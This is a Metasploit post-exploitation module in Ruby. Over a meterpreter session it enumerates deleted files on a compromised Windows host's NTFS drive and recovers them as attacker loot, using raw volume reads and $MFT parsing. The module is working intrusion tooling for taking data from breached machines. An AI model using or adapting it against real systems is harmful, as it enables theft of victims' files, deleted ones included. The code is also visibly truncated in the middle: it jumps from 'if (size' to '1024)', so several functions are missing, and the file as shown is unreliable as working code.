## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Deleted Files Enumeration and Recovering', 'Description' => %q{ This module list and try to recover deleted files from NTFS file systems. Use the FILES option to guide recovery. Let it empty to enumerate deleted files in the DRIVE. Set FILES to an extension (Ex. "pdf") to recover deleted files with that extension. Or set FILES to a comma separated list of IDs (from enumeration) to recover those files. The user must have into account file enumeration and recovery could take a long time, use the TIMEOUT option to abort enumeration or recovery by extension after that time (in seconds). }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => ['Borja Merino '], 'References' => [ [ 'URL', 'http://www.youtube.com/watch?v=9yzCf360ujY&hd=1' ] ] )) register_options( [ OptString.new('FILES',[false,'ID or extensions of the files to recover in a comma separated way. Let empty to enumerate deleted files.',""]), OptString.new('DRIVE',[true,'Drive you want to recover files from.',"C:"]), OptInt.new('TIMEOUT', [true,'Search timeout. If 0 the module will go through the entire $MFT.', 3600]) ], self.class) end def run winver = sysinfo["OS"] if winver =~ /2000/i print_error("Module not valid for Windows 2000") return end drive = datastore['DRIVE'] fs = file_system(drive) if fs !~ /ntfs/i print_error("The file system is not NTFS") return end if not is_admin? print_error("You don't have enough privileges. Try getsystem.") return end print_status("System Info - OS: #{winver}, Drive: #{drive}") type = datastore['FILES'] files = type.split(',') # To extract files from its IDs if datastore['FILES'] != "" and is_numeric(files[0]) r = client.railgun.kernel32.CreateFileA("\\\\.\\#{drive}", "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING","FILE_FLAG_WRITE_THROUGH",0) if r['GetLastError'] == 0 recover_file(files,r['return']) client.railgun.kernel32.CloseHandle(r['return']) else print_error("Error opening #{drive} GetLastError=#{r['GetLastError']}") end # To show deleted files (FILE="") or extract the type of file specified by extension else handle = get_mft_info(drive) if handle != nil data_runs = mft_data_runs(handle) vprint_status("It seems that MFT is fragmented (#{data_runs.size-1} data runs)") if (data_runs.count > 2) to = (datastore['TIMEOUT'].zero?) ? nil : datastore['TIMEOUT'] begin ::Timeout.timeout(to) do deleted_files(data_runs[1..-1], handle,files) end rescue ::Timeout::Error print_error("Timed out after #{to} seconds. Skipping...") end end end end def get_high_low_values(offset) # Always positive values return [offset,0] if (offset < 0x1_0000_0000) # Strange Case. The MFT datarun would have to be really far return [offset & 0xffff_ffff, offset >> 32] end # Recover the content of the file/files requested def recover_file(offset,handle) ra = file_system_features(handle) # Offset could be in a comma separated list of IDs 0.upto(offset.size - 1) { |i| val = get_high_low_values(offset[i].to_i) client.railgun.kernel32.SetFilePointer(handle,val[0],val[1],0) rf = client.railgun.kernel32.ReadFile(handle,1024,1024,4,nil) attributes = rf['lpBuffer'][56..-1] name = get_name(attributes) print_status("File to download: #{name}") vprint_status("Getting Data Runs ...") data = get_data_runs(attributes) if data == nil or name == nil print_error("There were problems to recover the file: #{name}") next end # If file is resident if data[0] == 0 print_status ("The file is resident. Saving #{name} ... ") path = store_loot("resident.file", "application/octet-stream", session, data[1], name.downcase, nil) print_good("File saved on #{path}") # If file no resident else # Due to the size of the non-resident files we have to store small chunks of data as we go through each of the data runs # that make up the file (save_file function). size = get_size(rf['lpBuffer'][56..-1]) print_status ("The file is not resident. Saving #{name} ... (#{size} bytes)") base = 0 # Go through each of the data runs to save the file file_data = "" 1.upto(data.count-1) { |i| datarun = get_datarun_location(data[i]) base = base+datarun[0] size = save_file([base,datarun[1]],size,file_data,handle) } #file.close path = store_loot("nonresident.file", "application/octet-stream", session, file_data, name.downcase, nil) print_good("File saved on #{path}") end } end # Save the no resident file to disk def save_file(datarun,size,file_data,handle) ra = file_system_features(handle) bytes_per_cluster = ra['lpOutBuffer'][44,4].unpack("V*")[0] distance = get_high_low_values(datarun[0]*bytes_per_cluster) client.railgun.kernel32.SetFilePointer(handle,distance[0],distance[1],0) # Buffer chunks to store in disk. Modify this value as you wish. buffer_size = 8 division = datarun[1]/buffer_size rest = datarun[1]%buffer_size vprint_status("Number of chunks: #{division} Rest: #{rest} clusters Chunk size: #{buffer_size} clusters ") if (division > 0) 1.upto(division) { |i| if (size>bytes_per_cluster*buffer_size) rf = client.railgun.kernel32.ReadFile(handle,bytes_per_cluster*buffer_size,bytes_per_cluster*buffer_size,4,nil) file_data << rf['lpBuffer'] size = size - bytes_per_cluster * buffer_size vprint_status("Save 1 chunk of #{buffer_size*bytes_per_cluster} bytes, there are #{size} left") # It's the last datarun else rf = client.railgun.kernel32.ReadFile(handle,bytes_per_cluster*buffer_size,bytes_per_cluster*buffer_size,4,nil) file_data << rf['lpBuffer'][0..size-1] vprint_status("Save 1 chunk of #{size} bytes") end } end if (rest > 0) # It's the last datarun if (size1024) or header == "\xff\xff\xff\xff" str = str[size_att..-1] end end print_status("Attribute not found") return nil end # Get the type of file system def file_system(drive) # BOOL WINAPI GetVolumeInformation( # _In_opt_ LPCTSTR lpRootPathName, # _Out_opt_ LPTSTR lpVolumeNameBuffer, # _In_ DWORD nVolumeNameSize, # _Out_opt_ LPDWORD lpVolumeSerialNumber, # _Out_opt_ LPDWORD lpMaximumComponentLength, # _Out_opt_ LPDWORD lpFileSystemFlags, # _Out_opt_ LPTSTR lpFileSystemNameBuffer, # _In_ DWORD nFileSystemNameSize) r = client.railgun.kernel32.GetVolumeInformationA("#{drive}//",nil,nil,nil,nil,nil,8,8) fs = r['lpFileSystemNameBuffer'] return fs end def is_numeric(o) true if Integer(o) rescue false end end